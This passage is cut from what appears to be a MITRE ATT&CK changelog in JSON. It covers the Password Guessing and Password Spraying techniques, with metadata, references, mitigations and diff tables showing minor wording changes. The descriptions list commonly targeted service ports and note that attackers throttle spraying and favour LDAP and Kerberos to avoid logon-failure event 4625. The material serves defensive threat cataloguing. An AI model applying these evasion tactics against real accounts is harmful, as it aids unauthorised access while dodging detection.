adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\\n+In addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\\n \\n In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \\\"logon failure\\\" event ID 4625.\"}}}",
                    "previous_version": "1.7",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to5__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to5__0\"><a href=\"#difflib_chg_to5__top\">t</a></td><td class=\"diff_header\" id=\"from5_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;with&nbsp;no&nbsp;prior&nbsp;knowledge&nbsp;of&nbsp;legitimate&nbsp;credential</td><td class=\"diff_next\"><a href=\"#difflib_chg_to5__top\">t</a></td><td class=\"diff_header\" id=\"to5_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;with&nbsp;no&nbsp;prior&nbsp;knowledge&nbsp;of&nbsp;legitimate&nbsp;credential</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;within&nbsp;the&nbsp;system&nbsp;or&nbsp;environment&nbsp;may&nbsp;guess&nbsp;passwords&nbsp;to&nbsp;at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;within&nbsp;the&nbsp;system&nbsp;or&nbsp;environment&nbsp;may&nbsp;guess&nbsp;passwords&nbsp;to&nbsp;at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tempt&nbsp;access&nbsp;to&nbsp;accounts.&nbsp;Without&nbsp;knowledge&nbsp;of&nbsp;the&nbsp;password&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tempt&nbsp;access&nbsp;to&nbsp;accounts.&nbsp;Without&nbsp;knowledge&nbsp;of&nbsp;the&nbsp;password&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;an&nbsp;account,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;opt&nbsp;to&nbsp;systematically&nbsp;guess</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;an&nbsp;account,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;opt&nbsp;to&nbsp;systematically&nbsp;guess</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;password&nbsp;using&nbsp;a&nbsp;repetitive&nbsp;or&nbsp;iterative&nbsp;mechanism.&nbsp;An&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;password&nbsp;using&nbsp;a&nbsp;repetitive&nbsp;or&nbsp;iterative&nbsp;mechanism.&nbsp;An&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;may&nbsp;guess&nbsp;login&nbsp;credentials&nbsp;without&nbsp;prior&nbsp;knowledg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;may&nbsp;guess&nbsp;login&nbsp;credentials&nbsp;without&nbsp;prior&nbsp;knowledg</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;of&nbsp;system&nbsp;or&nbsp;environment&nbsp;passwords&nbsp;during&nbsp;an&nbsp;operation&nbsp;by&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;of&nbsp;system&nbsp;or&nbsp;environment&nbsp;passwords&nbsp;during&nbsp;an&nbsp;operation&nbsp;by&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;a&nbsp;list&nbsp;of&nbsp;common&nbsp;passwords.&nbsp;Password&nbsp;guessing&nbsp;may&nbsp;or&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;a&nbsp;list&nbsp;of&nbsp;common&nbsp;passwords.&nbsp;Password&nbsp;guessing&nbsp;may&nbsp;or&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;not&nbsp;take&nbsp;into&nbsp;account&nbsp;the&nbsp;target's&nbsp;policies&nbsp;on&nbsp;password&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;not&nbsp;take&nbsp;into&nbsp;account&nbsp;the&nbsp;target's&nbsp;policies&nbsp;on&nbsp;password&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omplexity&nbsp;or&nbsp;use&nbsp;policies&nbsp;that&nbsp;may&nbsp;lock&nbsp;accounts&nbsp;out&nbsp;after&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omplexity&nbsp;or&nbsp;use&nbsp;policies&nbsp;that&nbsp;may&nbsp;lock&nbsp;accounts&nbsp;out&nbsp;after&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;number&nbsp;of&nbsp;failed&nbsp;attempts.&nbsp;&nbsp;Guessing&nbsp;passwords&nbsp;can&nbsp;be&nbsp;a&nbsp;ris</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;number&nbsp;of&nbsp;failed&nbsp;attempts.&nbsp;&nbsp;Guessing&nbsp;passwords&nbsp;can&nbsp;be&nbsp;a&nbsp;ris</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ky&nbsp;option&nbsp;because&nbsp;it&nbsp;could&nbsp;cause&nbsp;numerous&nbsp;authentication&nbsp;fai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ky&nbsp;option&nbsp;because&nbsp;it&nbsp;could&nbsp;cause&nbsp;numerous&nbsp;authentication&nbsp;fai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lures&nbsp;and&nbsp;account&nbsp;lockouts,&nbsp;depending&nbsp;on&nbsp;the&nbsp;organization's&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lures&nbsp;and&nbsp;account&nbsp;lockouts,&nbsp;depending&nbsp;on&nbsp;the&nbsp;organization's&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">login&nbsp;failure&nbsp;policies.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cylance&nbsp;Cleaver)&nbsp;&nbsp;Typical</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">login&nbsp;failure&nbsp;policies.(Citation:&nbsp;Cylance&nbsp;Cleaver)&nbsp;&nbsp;Typicall</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly,&nbsp;management&nbsp;services&nbsp;over&nbsp;commonly&nbsp;used&nbsp;ports&nbsp;are&nbsp;used&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y,&nbsp;management&nbsp;services&nbsp;over&nbsp;commonly&nbsp;used&nbsp;ports&nbsp;are&nbsp;used&nbsp;whe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;guessing&nbsp;passwords.&nbsp;Commonly&nbsp;targeted&nbsp;services&nbsp;include&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;guessing&nbsp;passwords.&nbsp;Commonly&nbsp;targeted&nbsp;services&nbsp;include&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;following:&nbsp;&nbsp;*&nbsp;SSH&nbsp;(22/TCP)&nbsp;*&nbsp;Telnet&nbsp;(23/TCP)&nbsp;*&nbsp;FTP&nbsp;(21/TCP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;following:&nbsp;&nbsp;*&nbsp;SSH&nbsp;(22/TCP)&nbsp;*&nbsp;Telnet&nbsp;(23/TCP)&nbsp;*&nbsp;FTP&nbsp;(21/TCP)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;*&nbsp;NetBIOS&nbsp;/&nbsp;SMB&nbsp;/&nbsp;Samba&nbsp;(139/TCP&nbsp;&amp;&nbsp;445/TCP)&nbsp;*&nbsp;LDAP&nbsp;(389/TC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;*&nbsp;NetBIOS&nbsp;/&nbsp;SMB&nbsp;/&nbsp;Samba&nbsp;(139/TCP&nbsp;&amp;&nbsp;445/TCP)&nbsp;*&nbsp;LDAP&nbsp;(389/TCP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P)&nbsp;*&nbsp;Kerberos&nbsp;(88/TCP)&nbsp;*&nbsp;RDP&nbsp;/&nbsp;Terminal&nbsp;Services&nbsp;(3389/TCP)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;*&nbsp;Kerberos&nbsp;(88/TCP)&nbsp;*&nbsp;RDP&nbsp;/&nbsp;Terminal&nbsp;Services&nbsp;(3389/TCP)&nbsp;*</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">*&nbsp;HTTP/HTTP&nbsp;Management&nbsp;Services&nbsp;(80/TCP&nbsp;&amp;&nbsp;443/TCP)&nbsp;*&nbsp;MSSQL&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;HTTP/HTTP&nbsp;Management&nbsp;Services&nbsp;(80/TCP&nbsp;&amp;&nbsp;443/TCP)&nbsp;*&nbsp;MSSQL&nbsp;(1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1433/TCP)&nbsp;*&nbsp;Oracle&nbsp;(1521/TCP)&nbsp;*&nbsp;MySQL&nbsp;(3306/TCP)&nbsp;*&nbsp;VNC&nbsp;(5900</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">433/TCP)&nbsp;*&nbsp;Oracle&nbsp;(1521/TCP)&nbsp;*&nbsp;MySQL&nbsp;(3306/TCP)&nbsp;*&nbsp;VNC&nbsp;(5900/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/TCP)&nbsp;*&nbsp;SNMP&nbsp;(161/UDP&nbsp;and&nbsp;162/TCP/UDP)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;manag</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TCP)&nbsp;*&nbsp;SNMP&nbsp;(161/UDP&nbsp;and&nbsp;162/TCP/UDP)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;manage</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ement&nbsp;services,&nbsp;adversaries&nbsp;may&nbsp;\"target&nbsp;single&nbsp;sign-on&nbsp;(SSO)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ment&nbsp;services,&nbsp;adversaries&nbsp;may&nbsp;\"target&nbsp;single&nbsp;sign-on&nbsp;(SSO)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;cloud-based&nbsp;applications&nbsp;utilizing&nbsp;federated&nbsp;authentica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;cloud-based&nbsp;applications&nbsp;utilizing&nbsp;federated&nbsp;authenticat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;protocols,\"&nbsp;as&nbsp;well&nbsp;as&nbsp;externally&nbsp;facing&nbsp;email&nbsp;applicat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;protocols,\"&nbsp;as&nbsp;well&nbsp;as&nbsp;externally&nbsp;facing&nbsp;email&nbsp;applicati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions,&nbsp;such&nbsp;as&nbsp;Office&nbsp;365.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)<span class=\"diff_sub\">.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons,&nbsp;such&nbsp;as&nbsp;Office&nbsp;365.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\"></span>&nbsp;Further,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;network&nbsp;device&nbsp;interfaces&nbsp;(s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urther,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;network&nbsp;device&nbsp;interfaces&nbsp;(suc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uch&nbsp;as&nbsp;`wlanAPI`)&nbsp;to&nbsp;brute&nbsp;force&nbsp;accessible&nbsp;wifi-router(s)&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;`wlanAPI`)&nbsp;to&nbsp;brute&nbsp;force&nbsp;accessible&nbsp;wifi-router(s)&nbsp;via</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ia&nbsp;wireless&nbsp;authentication&nbsp;protocols.(Citation:&nbsp;Trend&nbsp;Micro&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;wireless&nbsp;authentication&nbsp;protocols.(Citation:&nbsp;Trend&nbsp;Micro&nbsp;Em</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Emotet&nbsp;2020)&nbsp;&nbsp;In&nbsp;default&nbsp;environments,&nbsp;LDAP&nbsp;and&nbsp;Kerberos&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otet&nbsp;2020)&nbsp;&nbsp;In&nbsp;default&nbsp;environments,&nbsp;LDAP&nbsp;and&nbsp;Kerberos&nbsp;conne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nection&nbsp;attempts&nbsp;are&nbsp;less&nbsp;likely&nbsp;to&nbsp;trigger&nbsp;events&nbsp;over&nbsp;SMB,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ction&nbsp;attempts&nbsp;are&nbsp;less&nbsp;likely&nbsp;to&nbsp;trigger&nbsp;events&nbsp;over&nbsp;SMB,&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;which&nbsp;creates&nbsp;Windows&nbsp;\"logon&nbsp;failure\"&nbsp;event&nbsp;ID&nbsp;4625.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hich&nbsp;creates&nbsp;Windows&nbsp;\"logon&nbsp;failure\"&nbsp;event&nbsp;ID&nbsp;4625.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1036: Account Use Policies",
                            "M1051: Update Software"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0551: Password Guessing via Multi-Source Authentication Failure Correlation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:39:25.122000+00:00",
                    "modified": "2026-11-04 00:27:49.030000+00:00",
                    "name": "Password Spraying",
                    "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.(Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)  ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1110/003",
                            "external_id": "T1110.003"
                        },
                        {
                            "source_name": "Microsoft Storm-0940",
                            "description": "Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.",
                            "url": "https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/"
                        },
                        {
                            "source_name": "BlackHillsInfosec Password Spraying",
                            "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                            "url": "http://www.blackhillsinfosec.com/?p=4645"
                        },
                        {
                            "source_name": "US-CERT TA18-068A 2018",
                            "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Threat Intelligence Center (MSTIC)",
                        "John Strand"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "IaaS",
                        "Identity Provider",
                        "Linux",
                        "Network Devices",
                        "Office Suite",
                        "SaaS",
                        "Windows",
                        "macOS"
                    ],
                    "x_mitre_version": "1.8",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:27:49.030000+00:00\", \"old_value\": \"2025-10-24 17:48:53.996000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.(Citation: BlackHillsInfosec Password Spraying)\\n\\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL (3306/TCP)\\n* VNC (5900/TCP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\\n\\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \\\"logon failure\\\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)  \", \"old_value\": \"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\\n\\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL (3306/TCP)\\n* VNC (5900/TCP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\\n\\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \\\"logon failure\\\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)  \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\\n+Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.(Citation: BlackHillsInfosec Password Spraying)\\n \\n Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Trimarc Detecting Password Spraying\", \"description\": \"Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.\", \"url\": \"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing\"}}}",
                    "previous_version": "1.8",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to42__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to42__0\"><a href=\"#difflib_chg_to42__top\">t</a></td><td class=\"diff_header\" id=\"from42_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;a&nbsp;single&nbsp;or&nbsp;small&nbsp;list&nbsp;of&nbsp;commonly&nbsp;used&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to42__top\">t</a></td><td class=\"diff_header\" id=\"to42_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;a&nbsp;single&nbsp;or&nbsp;small&nbsp;list&nbsp;of&nbsp;commonly&nbsp;used&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">passwords&nbsp;against&nbsp;many&nbsp;different&nbsp;accounts&nbsp;to&nbsp;attempt&nbsp;to&nbsp;acqu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">passwords&nbsp;against&nbsp;many&nbsp;different&nbsp;accounts&nbsp;to&nbsp;attempt&nbsp;to&nbsp;acqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ire&nbsp;valid&nbsp;account&nbsp;credentials.&nbsp;Password&nbsp;spraying&nbsp;uses&nbsp;one&nbsp;pa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ire&nbsp;valid&nbsp;account&nbsp;credentials.&nbsp;Password&nbsp;spraying&nbsp;uses&nbsp;one&nbsp;pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;(e.g.&nbsp;'Password01'),&nbsp;or&nbsp;a&nbsp;small&nbsp;list&nbsp;of&nbsp;commonly&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;(e.g.&nbsp;'Password01'),&nbsp;or&nbsp;a&nbsp;small&nbsp;list&nbsp;of&nbsp;commonly&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;passwords,&nbsp;that&nbsp;may&nbsp;match&nbsp;the&nbsp;complexity&nbsp;policy&nbsp;of&nbsp;the&nbsp;doma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;passwords,&nbsp;that&nbsp;may&nbsp;match&nbsp;the&nbsp;complexity&nbsp;policy&nbsp;of&nbsp;the&nbsp;doma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in.&nbsp;Logins&nbsp;are&nbsp;attempted&nbsp;with&nbsp;that&nbsp;password&nbsp;against&nbsp;many&nbsp;dif</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in.&nbsp;Logins&nbsp;are&nbsp;attempted&nbsp;with&nbsp;that&nbsp;password&nbsp;against&nbsp;many&nbsp;dif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferent&nbsp;accounts&nbsp;on&nbsp;a&nbsp;network&nbsp;to&nbsp;avoid&nbsp;account&nbsp;lockouts&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferent&nbsp;accounts&nbsp;on&nbsp;a&nbsp;network&nbsp;to&nbsp;avoid&nbsp;account&nbsp;lockouts&nbsp;that&nbsp;</td></tr>\n            